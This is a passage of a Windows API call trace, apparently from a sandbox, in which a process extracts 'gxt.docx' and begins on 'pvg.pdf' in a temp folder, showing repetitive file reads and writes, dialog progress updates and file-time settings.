cbMultiByte=-1, lpWideCharStr=0x170b94, cchWideChar=16777216 | out: lpWideCharStr="gxt.docx") returned 9 [0068.022] FindFirstFileW (in: lpFileName="gxt.docx", lpFindFileData=0x171394 | out: lpFindFileData=0x171394) returned 0xffffffff [0068.022] GetLastError () returned 0x2 [0068.022] GetFileAttributesA (lpFileName="gxt.docx" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\gxt.docx")) returned 0xffffffff [0068.022] CreateFileA (lpFileName="gxt.docx" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\gxt.docx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x138 [0068.022] GetFileType (hFile=0x138) returned 0x1 [0068.022] SetFilePointer (in: hFile=0x138, lDistanceToMove=514, lpDistanceToMoveHigh=0x1715f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715f0*=0) returned 0x202 [0068.022] SetEndOfFile (hFile=0x138) returned 1 [0068.023] SetFilePointer (in: hFile=0x138, lDistanceToMove=0, lpDistanceToMoveHigh=0x1715dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715dc*=0) returned 0x0 [0068.023] ReadFile (in: hFile=0x1c, lpBuffer=0x270288, nNumberOfBytesToRead=0x1a5, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270288*, lpNumberOfBytesRead=0x171578*=0x1a5, lpOverlapped=0x0) returned 1 [0068.023] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.023] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.023] GetTickCount () returned 0x1fa07 [0068.023] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.023] ReadFile (in: hFile=0x1c, lpBuffer=0x27042d, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042d*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.023] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.023] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.023] GetTickCount () returned 0x1fa07 [0068.023] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.023] ReadFile (in: hFile=0x1c, lpBuffer=0x27042d, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042d*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.023] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.023] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.023] GetTickCount () returned 0x1fa07 [0068.023] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.023] ReadFile (in: hFile=0x1c, lpBuffer=0x27042d, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042d*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.023] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.023] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.023] GetTickCount () returned 0x1fa07 [0068.023] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.023] ReadFile (in: hFile=0x1c, lpBuffer=0x27042d, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042d*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.023] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.023] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.023] GetTickCount () returned 0x1fa07 [0068.023] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.023] ReadFile (in: hFile=0x1c, lpBuffer=0x27042d, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042d*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.023] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.023] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.023] GetTickCount () returned 0x1fa07 [0068.023] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.023] ReadFile (in: hFile=0x1c, lpBuffer=0x27042d, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042d*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.023] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.023] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.023] GetTickCount () returned 0x1fa07 [0068.023] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.023] ReadFile (in: hFile=0x1c, lpBuffer=0x27042d, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042d*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.023] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.023] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.023] GetTickCount () returned 0x1fa07 [0068.023] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.023] ReadFile (in: hFile=0x1c, lpBuffer=0x27042d, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042d*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.024] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.024] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.024] GetTickCount () returned 0x1fa07 [0068.024] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.024] ReadFile (in: hFile=0x1c, lpBuffer=0x27042d, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042d*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.024] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.024] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.024] GetTickCount () returned 0x1fa07 [0068.024] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.024] ReadFile (in: hFile=0x1c, lpBuffer=0x27042d, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042d*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.024] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.024] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.024] GetTickCount () returned 0x1fa07 [0068.024] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.024] ReadFile (in: hFile=0x1c, lpBuffer=0x27042d, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042d*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.024] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.024] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.024] GetTickCount () returned 0x1fa07 [0068.024] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.024] ReadFile (in: hFile=0x1c, lpBuffer=0x27042d, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042d*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.024] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.024] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.024] GetTickCount () returned 0x1fa07 [0068.024] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.024] ReadFile (in: hFile=0x1c, lpBuffer=0x27042d, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042d*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.024] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.024] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.024] GetTickCount () returned 0x1fa07 [0068.024] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.024] ReadFile (in: hFile=0x1c, lpBuffer=0x27042d, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042d*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.024] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.024] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.024] GetTickCount () returned 0x1fa07 [0068.024] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.024] ReadFile (in: hFile=0x1c, lpBuffer=0x27042d, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042d*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.024] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.024] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.024] GetTickCount () returned 0x1fa07 [0068.024] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.024] ReadFile (in: hFile=0x1c, lpBuffer=0x27042d, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042d*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.024] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.024] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.024] GetTickCount () returned 0x1fa07 [0068.024] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.024] ReadFile (in: hFile=0x1c, lpBuffer=0x27042d, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042d*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.024] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.024] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.024] GetTickCount () returned 0x1fa07 [0068.025] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.025] ReadFile (in: hFile=0x1c, lpBuffer=0x27042d, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042d*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.025] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.025] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.025] GetTickCount () returned 0x1fa07 [0068.025] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.025] ReadFile (in: hFile=0x1c, lpBuffer=0x27042d, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042d*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.025] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.025] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.025] GetTickCount () returned 0x1fa07 [0068.025] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.025] ReadFile (in: hFile=0x1c, lpBuffer=0x27042d, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042d*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.025] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.025] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.025] GetTickCount () returned 0x1fa07 [0068.025] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.025] ReadFile (in: hFile=0x1c, lpBuffer=0x27042d, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042d*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.025] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.025] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.025] GetTickCount () returned 0x1fa07 [0068.025] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.025] ReadFile (in: hFile=0x1c, lpBuffer=0x27042d, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042d*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.025] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.025] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.025] GetTickCount () returned 0x1fa07 [0068.025] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.025] ReadFile (in: hFile=0x1c, lpBuffer=0x27042d, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042d*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.025] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.025] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.025] GetTickCount () returned 0x1fa07 [0068.025] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.025] ReadFile (in: hFile=0x1c, lpBuffer=0x27042d, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042d*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.025] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.025] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.025] GetTickCount () returned 0x1fa07 [0068.025] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.025] ReadFile (in: hFile=0x1c, lpBuffer=0x27042d, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042d*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.025] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.025] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.025] GetTickCount () returned 0x1fa07 [0068.025] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.025] ReadFile (in: hFile=0x1c, lpBuffer=0x27042d, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042d*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.025] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.025] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.025] GetTickCount () returned 0x1fa07 [0068.025] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.025] ReadFile (in: hFile=0x1c, lpBuffer=0x27042d, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042d*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.026] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.026] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.026] GetTickCount () returned 0x1fa07 [0068.026] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.026] ReadFile (in: hFile=0x1c, lpBuffer=0x27042d, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042d*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.026] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.026] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.026] GetTickCount () returned 0x1fa07 [0068.026] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.026] ReadFile (in: hFile=0x1c, lpBuffer=0x27042d, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042d*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.026] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.026] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.026] GetTickCount () returned 0x1fa07 [0068.026] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.026] ReadFile (in: hFile=0x1c, lpBuffer=0x27042d, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042d*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.026] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.026] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.026] GetTickCount () returned 0x1fa07 [0068.026] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.026] WriteFile (in: hFile=0x138, lpBuffer=0x2e40020*, nNumberOfBytesToWrite=0x202, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2e40020*, lpNumberOfBytesWritten=0x171564*=0x202, lpOverlapped=0x0) returned 1 [0068.027] GetTickCount () returned 0x1fa07 [0068.027] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0068.027] SetFilePointer (in: hFile=0x1c, lDistanceToMove=858937, lpDistanceToMoveHigh=0x1715e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715e8*=0) returned 0xd1b39 [0068.027] SystemTimeToFileTime (in: lpSystemTime=0x1715b8, lpFileTime=0x1715c8 | out: lpFileTime=0x1715c8) returned 1 [0068.027] LocalFileTimeToFileTime (in: lpLocalFileTime=0x1715c8, lpFileTime=0x1715f8 | out: lpFileTime=0x1715f8) returned 1 [0068.027] SetFileTime (hFile=0x138, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1715f8) returned 1 [0068.027] CloseHandle (hObject=0x138) returned 1 [0068.027] SetFileAttributesA (lpFileName="gxt.docx", dwFileAttributes=0x20) returned 1 [0068.028] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x17410c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17410c*=0) returned 0xd1b39 [0068.028] ReadFile (in: hFile=0x1c, lpBuffer=0x2590a8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x2590a8*, lpNumberOfBytesRead=0x1740c4*=0x7, lpOverlapped=0x0) returned 1 [0068.028] ReadFile (in: hFile=0x1c, lpBuffer=0x25a8cf, nNumberOfBytesToRead=0x25, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x25a8cf*, lpNumberOfBytesRead=0x1740c4*=0x25, lpOverlapped=0x0) returned 1 [0068.028] OemToCharA (in: pSrc="pvg.pdf", 